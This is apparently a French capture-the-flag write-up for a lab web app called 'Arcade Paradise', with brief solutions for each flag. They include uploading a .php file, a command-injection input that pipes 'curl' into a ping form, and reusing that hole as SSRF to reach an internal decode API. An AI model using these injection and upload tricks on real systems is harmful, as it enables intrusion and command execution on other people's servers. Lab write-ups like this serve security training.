Challenge 2 - Arcade Paradise - WRITEUP
Note : La résolution de l'ensemble des flags n'est pas encore détaillée (quand j'aurai le temps).
Flag 1 : Analyse du JS
Saisir dans la console du navigateur :
disable_fog=true
=> ENTERcheckFog()
=> ENTER
Flag 2 : Payement sécurisé
Aller sur le panier http://http://localhost:8089/panier.php
Flag 3 : Manque de contrôle
Il faut editer le champs de formulaire avant l'envoie.
Flag 4 : Inclusion fichier
Envoyer un fichier avec l'extension .php
Flag 5 : Injection de commandes
Sur le formulaire : http://http://localhost:8089/tools/ping.php
Il faudra entrer la saisie suivante: api-server|curl http://api-server/flag
Flag bonus : Bunny Bunny
Après un scanne /www liste du dossier du projet: voir le fichier HTML: heaster-egg.html
L'URL http://http://localhost:8089/heaster-egg.html
=> dans le code source HTML:
HGF5cGztYWk8E6fV7FaF87Ii3kU6zRwkzp8YLoAXt7Q2+42O5Wspri6jzqy6mf+7YCH7Wq0dfDhNHsOkULTnlOhYSGL87OMnMkzisnAc3nZsLX22AE8hNRbY765hYZWJc3CDnEfOylGhuuDHLZsVCq9JLJoEZtln4n5CQnzRWY46AFav9VDQvw4hTMqRaF28eM0G7I0SCbr5caRcXzZt5q4aGQZ6kujl/Qqkv7ItL+WFopjno65jEe3KFQzZKaF+fMDaP2mIioB83FJaXBPjQiYF89KvaeOAPIsLjD+uuSDOeqEpDdSTx4bY78K3fXPiiWP99lT6JcIhzcHL4AgNyzeRN4SG3yQd2esLaC9HAz5vEXbKxgCMLRfi7u+nmyFR1vS24sQx1GYygn5T+Prl2uE=
C'est encoder en base64 qu'il faudra déencoder puis déchiffrer.
Il suffit de faire la requete CURL suivante via la faille "SSRF" du Flag5 :
curl -X 'POST' \
'http://api-secret/decode' \
-H 'accept: application/json' \
-H 'Content-Type: application/json' \
-d '{
"Code": "HGF5cGztYWk8E6fV7FaF87Ii3kU6zRwkzp8YLoAXt7Q2+42O5Wspri6jzqy6mf+7YCH7Wq0dfDhNHsOkULTnlOhYSGL87OMnMkzisnAc3nZsLX22AE8hNRbY765hYZWJc3CDnEfOylGhuuDHLZsVCq9JLJoEZtln4n5CQnzRWY46AFav9VDQvw4hTMqRaF28eM0G7I0SCbr5caRcXzZt5q4aGQZ6kujl/Qqkv7ItL+WFopjno65jEe3KFQzZKaF+fMDaP2mIioB83FJaXBPjQiYF89KvaeOAPIsLjD+uuSDOeqEpDdSTx4bY78K3fXPiiWP99lT6JcIhzcHL4AgNyzeRN4SG3yQd2esLaC9HAz5vEXbKxgCMLRfi7u+nmyFR1vS24sQx1GYygn5T+Prl2uE="
}'